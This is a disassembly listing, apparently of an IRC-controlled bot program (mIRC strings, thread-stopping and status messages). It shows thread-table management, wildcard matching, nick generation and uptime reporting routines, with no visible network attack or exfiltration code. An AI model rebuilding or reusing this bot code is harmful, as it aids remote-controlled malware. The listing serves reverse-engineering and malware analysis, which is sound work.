		movsx	eax, byte_431250
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_40AE09:				; CODE XREF: ___:0040AE14j
		cmp	eax, ecx
		jnz	short loc_40AE10
		mov	[ebp-4], edx


loc_40AE10:				; CODE XREF: ___:0040AE0Bj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AE09
		push	61h
		pop	ecx


loc_40AE19:				; CODE XREF: ___:0040AE24j
		cmp	eax, ecx
		jnz	short loc_40AE20
		mov	[ebp-4], edx


loc_40AE20:				; CODE XREF: ___:0040AE1Bj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AE19
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AE65


loc_40AE3F:				; CODE XREF: ___:0040AE63j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B464
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AE3F


loc_40AE65:				; CODE XREF: ___:0040AE3Dj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		nop
		call	near ptr 2670B87h
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 26B0000h
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_431254
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AEDA


loc_40AEB4:				; CODE XREF: ___:0040AED8j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B464
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AEB4


loc_40AEDA:				; CODE XREF: ___:0040AEB2j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset dword_43D128
		mov	dword ptr [ebp-94h], 94h
		nop
		call	near ptr 26B05ADh
		nop
		call	near ptr 2670B87h
		push	eax
		call	sub_41B8D8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AF64
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF44
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AF34
		mov	esi, offset dword_43127C


loc_40AF34:				; CODE XREF: ___:0040AF2Dj
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AFA0
		mov	esi, offset dword_431278
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF44:				; CODE XREF: ___:0040AF24j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AF54
		mov	esi, offset dword_431274
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF54:				; CODE XREF: ___:0040AF4Bj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AF9B
		mov	esi, offset dword_431270
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF64:				; CODE XREF: ___:0040AF1Bj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AF9B
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF7D
		mov	esi, offset dword_43126C
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF7D:				; CODE XREF: ___:0040AF74j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AF8D
		mov	esi, offset dword_431268
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF8D:				; CODE XREF: ___:0040AF84j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_431264
		jz	short loc_40AFA0


loc_40AF9B:				; CODE XREF: ___:0040AF5Bj
					; ___:0040AF6Bj
		mov	esi, offset dword_431260


loc_40AFA0:				; CODE XREF: ___:0040AF3Bj
					; ___:0040AF42j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_431258
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AFE4


loc_40AFBE:				; CODE XREF: ___:0040AFE2j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B464
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AFBE


loc_40AFE4:				; CODE XREF: ___:0040AFBCj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AFEA	proc near		; CODE XREF: sub_40B08D+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		nop
		call	near ptr 2670B87h
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40B039
		call	dword_4CAF80
		test	eax, eax
		mov	eax, offset dword_431288
		jnz	short loc_40B022
		mov	eax, offset dword_43D128


loc_40B022:				; CODE XREF: sub_40AFEA+31j
		push	eax
		push	esi
		push	offset dword_431280
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40B059
; ---------------------------------------------------------------------------


loc_40B039:				; CODE XREF: sub_40AFEA+22j
		call	dword_4CAF80
		test	eax, eax
		mov	eax, offset dword_431288
		jnz	short loc_40B04D
		mov	eax, offset dword_43D128


loc_40B04D:				; CODE XREF: sub_40AFEA+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40B059:				; CODE XREF: sub_40AFEA+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41AFE0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40B088
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C1E0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 18h


loc_40B088:				; CODE XREF: sub_40AFEA+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40AFEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B08D	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42D58C


loc_40B099:				; CODE XREF: sub_40B08D+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40B0B4
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41C070
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B0BE
; ---------------------------------------------------------------------------


loc_40B0B4:				; CODE XREF: sub_40B08D+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40B0BE:				; CODE XREF: sub_40B08D+25j
		test	eax, eax
		jnz	short loc_40B0D0
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42D604
		jb	short loc_40B099
		jmp	short loc_40B0DE
; ---------------------------------------------------------------------------


loc_40B0D0:				; CODE XREF: sub_40B08D+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42D590[eax*4]
		pop	ecx


loc_40B0DE:				; CODE XREF: sub_40B08D+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40B0F1
		push	[ebp+arg_0]
		call	sub_40AFEA
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40B0F1:				; CODE XREF: sub_40B08D+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40B08D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0F6	proc near		; CODE XREF: ___:00401599p
					; ___:004015D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43DCB0


loc_40B0FE:				; CODE XREF: sub_40B0F6+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B112
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CACB0
		jl	short loc_40B0FE
		jmp	short loc_40B15D
; ---------------------------------------------------------------------------


loc_40B112:				; CODE XREF: sub_40B0F6+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43DCB0[esi]
		push	eax
		call	sub_41B5F0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43DEB0[esi], eax
		and	dword_43DEB4[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43DEB8[esi], 0
		mov	dword_43DEBC[esi], eax
		and	byte_43DEC8[esi], 0
		pop	esi


loc_40B15D:				; CODE XREF: sub_40B0F6+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B0F6	endp

; ---------------------------------------------------------------------------
byte_40B161	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2989o
		dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
		dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h,	6C858D00h, 0FFFFFFFFh
		dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
		dd 0C4830000h, 90006A14h, 2B4E4FE8h, 555E5F02h,	0EC81EC8Bh
		dd 200h, 6A5756h, 681075FFh, 431388h, 0FF0C75FFh, 9FE80875h
		dd 83FFFFE8h, 0FF3314C4h, 43DCB0BEh, 3E8000h, 7D833C74h
		dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
		dd 0C19068FFh, 0E8500042h, 10682h, 858D016Ah, 0FFFFFE00h
		dd 501075FFh, 0FF0C75FFh, 57E80875h, 83FFFFE8h,	0C68124C4h
		dd 234h, 0B0FE8147h, 7C004CACh,	0C95E5FB0h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B231	proc near		; CODE XREF: sub_401ACD+7BA4p
					; sub_40B2BF+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B2B9
		cmp	esi, 400h
		jge	short loc_40B2B9
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43DEC4[esi]
		lea	edi, dword_43DEC4[esi]
		nop
		call	near ptr 2670C48h
		cmp	[edi], ebx
		jz	short loc_40B269
		push	1
		pop	ebp


loc_40B269:				; CODE XREF: sub_40B231+33j
		mov	[edi], ebx
		lea	edi, dword_43DEB8[esi]
		mov	dword_43DEB0[esi], ebx
		mov	dword_43DEB4[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B28A
		push	eax
		call	sub_4199C9
		pop	ecx


loc_40B28A:				; CODE XREF: sub_40B231+50j
		mov	[edi], ebx
		lea	edi, dword_43DEBC[esi]
		mov	byte ptr dword_43DCB0[esi], bl
		mov	byte_43DEC8[esi], bl
		push	dword ptr [edi]
		call	dword_4CB00C
		lea	esi, dword_43DEC0[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CB00C
		mov	[esi], ebx
		pop	edi


loc_40B2B9:				; CODE XREF: sub_40B231+Dj
					; sub_40B231+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B231	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B2BF	proc near		; CODE XREF: sub_40111D+18p
					; ___:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43DCB0


loc_40B2CB:				; CODE XREF: sub_40B2BF+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B2DC
		push	edi
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jz	short loc_40B2DC
		inc	ebx


loc_40B2DC:				; CODE XREF: sub_40B2BF+Fj
					; sub_40B2BF+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CACB0
		jl	short loc_40B2CB
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B2BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2F1	proc near		; CODE XREF: sub_401ACD+418Ep
					; sub_401ACD+42E0p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43DEB4


loc_40B305:				; CODE XREF: sub_40B2F1+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B327
		test	edi, edi
		jle	short loc_40B319
		cmp	[esi], edi
		jz	short loc_40B319
		cmp	ebx, edi
		jnz	short loc_40B327


loc_40B319:				; CODE XREF: sub_40B2F1+1Ej
					; sub_40B2F1+22j
		push	ebx
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jz	short loc_40B327
		inc	[ebp+var_4]


loc_40B327:				; CODE XREF: sub_40B2F1+1Aj
					; sub_40B2F1+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CAEB4
		jl	short loc_40B305
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B2F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B33E	proc near		; CODE XREF: ___:00401630p
					; sub_401ACD+97Ap ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43DEB0


loc_40B345:				; CODE XREF: sub_40B33E+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B34E
		inc	eax


loc_40B34E:				; CODE XREF: sub_40B33E+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CAEB0
		jl	short loc_40B345
		retn
sub_40B33E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B35D	proc near		; CODE XREF: sub_401ACD+2433p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43DEB0


loc_40B367:				; CODE XREF: sub_40B35D+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B380
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CAEB0
		jl	short loc_40B367
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B380:				; CODE XREF: sub_40B35D+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B35D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B384	proc near		; CODE XREF: sub_401ACD+1066p
					; sub_401ACD+126Cp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B39D
		push	[ebp+arg_1C]
		call	sub_41B779
		pop	ecx


loc_40B39D:				; CODE XREF: sub_40B384+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B2F1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B3C9
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40B3E3
; ---------------------------------------------------------------------------


loc_40B3C9:				; CODE XREF: sub_40B384+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41B886
		add	esp, 10h


loc_40B3E3:				; CODE XREF: sub_40B384+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B403
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_40B403:				; CODE XREF: sub_40B384+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		pop	ecx
		leave
		retn
sub_40B384	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B412	proc near		; CODE XREF: sub_4017ED+159p
					; ___:0040BA47p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43DEC4[eax], ecx
		mov	dword_43DEB0[eax], ecx
		mov	dword_43DEB4[eax], ecx
		mov	dword_43DEB8[eax], ecx
		mov	dword_43DEBC[eax], ecx
		mov	dword_43DEC0[eax], ecx
		mov	byte ptr dword_43DCB0[eax], cl
		mov	byte_43DEC8[eax], cl
		retn
sub_40B412	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B44F	proc near		; CODE XREF: sub_401ACD+7E3Bp
					; sub_40B57D+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_40B459:				; CODE XREF: sub_40B44F+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B4B9
		cmp	eax, 1
		jnz	short loc_40B4B9
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B4B9
		cmp	cl, 2Ah
		jz	short loc_40B4A0
		cmp	cl, 3Fh
		jz	short loc_40B483
		cmp	cl, 5Bh
		jz	short loc_40B488
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40B483:				; CODE XREF: sub_40B44F+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B4B3
; ---------------------------------------------------------------------------


loc_40B488:				; CODE XREF: sub_40B44F+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B4E5
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B4B3
; ---------------------------------------------------------------------------


loc_40B4A0:				; CODE XREF: sub_40B44F+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B57D
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_40B4B3:				; CODE XREF: sub_40B44F+37j
					; sub_40B44F+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B459
; ---------------------------------------------------------------------------


loc_40B4B9:				; CODE XREF: sub_40B44F+Ej
					; sub_40B44F+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B4C9
		cmp	eax, 1
		jnz	short loc_40B4E0
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B4B9
; ---------------------------------------------------------------------------


loc_40B4C9:				; CODE XREF: sub_40B44F+6Dj
		cmp	eax, 1
		jnz	short loc_40B4E0
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B4E0
		cmp	byte ptr [esi],	0
		jnz	short loc_40B4E0
		push	1
		pop	eax
		jmp	short loc_40B4E2
; ---------------------------------------------------------------------------


loc_40B4E0:				; CODE XREF: sub_40B44F+72j
					; sub_40B44F+7Dj ...
		xor	eax, eax


loc_40B4E2:				; CODE XREF: sub_40B44F+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B44F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4E5	proc near		; CODE XREF: sub_40B44F+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B506
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40B506:				; CODE XREF: sub_40B4E5+19j
		push	ebx
		push	esi


loc_40B508:				; CODE XREF: sub_40B4E5+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B516
		cmp	[ebp+var_4], eax
		jnz	short loc_40B562


loc_40B516:				; CODE XREF: sub_40B4E5+2Aj
		test	edi, edi
		jnz	short loc_40B557
		cmp	bl, 2Dh
		jnz	short loc_40B54B
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B54B
		cmp	al, 5Dh
		jz	short loc_40B54B
		cmp	[ebp+var_4], edi
		jnz	short loc_40B54B
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B557
		cmp	bl, al
		jg	short loc_40B557
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B557
; ---------------------------------------------------------------------------


loc_40B54B:				; CODE XREF: sub_40B4E5+38j
					; sub_40B4E5+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B557
		push	1
		pop	edi


loc_40B557:				; CODE XREF: sub_40B4E5+33j
					; sub_40B4E5+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B508
; ---------------------------------------------------------------------------


loc_40B562:				; CODE XREF: sub_40B4E5+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B56F
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40B56F:				; CODE XREF: sub_40B4E5+82j
		cmp	edi, eax
		jnz	short loc_40B578
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40B578:				; CODE XREF: sub_40B4E5+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B4E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B57D	proc near		; CODE XREF: sub_40B44F+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_40B599:				; CODE XREF: sub_40B57D+3Aj
		cmp	[eax], bl
		jz	short loc_40B5B9
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B5AE
		cmp	cl, 2Ah
		jnz	short loc_40B5B9
		cmp	cl, 3Fh
		jnz	short loc_40B5B1


loc_40B5AE:				; CODE XREF: sub_40B57D+25j
		inc	eax
		mov	[edi], eax


loc_40B5B1:				; CODE XREF: sub_40B57D+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B599
; ---------------------------------------------------------------------------


loc_40B5B9:				; CODE XREF: sub_40B57D+1Ej
					; sub_40B57D+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B5C4
		inc	dword ptr [esi]
		jmp	short loc_40B5B9
; ---------------------------------------------------------------------------


loc_40B5C4:				; CODE XREF: sub_40B57D+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B5E5
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B5D6
		xor	eax, eax
		jmp	short loc_40B645
; ---------------------------------------------------------------------------


loc_40B5D6:				; CODE XREF: sub_40B57D+53j
		cmp	cl, bl
		jnz	short loc_40B5E5
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B5E5
		push	1
		pop	eax
		jmp	short loc_40B645
; ---------------------------------------------------------------------------


loc_40B5E5:				; CODE XREF: sub_40B57D+4Dj
					; sub_40B57D+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B44F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B62F


loc_40B5F3:				; CODE XREF: sub_40B57D+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_40B5F7:				; CODE XREF: sub_40B57D+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B60F
		cmp	cl, 5Bh
		jz	short loc_40B60F
		cmp	dl, bl
		jz	short loc_40B60F
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B5F7
; ---------------------------------------------------------------------------


loc_40B60F:				; CODE XREF: sub_40B57D+82j
					; sub_40B57D+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B626
		push	eax
		push	dword ptr [esi]
		call	sub_40B44F
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B62B
; ---------------------------------------------------------------------------


loc_40B626:				; CODE XREF: sub_40B57D+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40B62B:				; CODE XREF: sub_40B57D+A7j
		cmp	eax, ebx
		jnz	short loc_40B5F3


loc_40B62F:				; CODE XREF: sub_40B57D+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B642
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B642
		mov	[ebp+var_4], 1


loc_40B642:				; CODE XREF: sub_40B57D+B6j
					; sub_40B57D+BCj
		mov	eax, [ebp+var_4]


loc_40B645:				; CODE XREF: sub_40B57D+57j
					; sub_40B57D+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B57D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B64A	proc near		; CODE XREF: sub_401ACD+2AF5p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_4317A4
		push	eax
		xor	ebx, ebx
		call	sub_41B886
		cmp	dword_431408, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B6BC
		push	esi
		mov	esi, offset dword_431410


loc_40B67D:				; CODE XREF: sub_40B64A+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B6B2
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_431798
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		add	esp, 1Ch


loc_40B6B2:				; CODE XREF: sub_40B64A+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B67D
		pop	esi


loc_40B6BC:				; CODE XREF: sub_40B64A+2Bj
		push	dword_4CACB4
		call	sub_41A88B
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B64A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B719	proc near		; CODE XREF: sub_401ACD+2ADFp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CDA80
		mov	ecx, dword_4CDA7C
		push	esi
		push	dword_4CACB4
		lea	esi, [ecx+eax]
		call	sub_41A88B
		pop	ecx
		push	eax
		push	esi
		push	dword_4CDA80
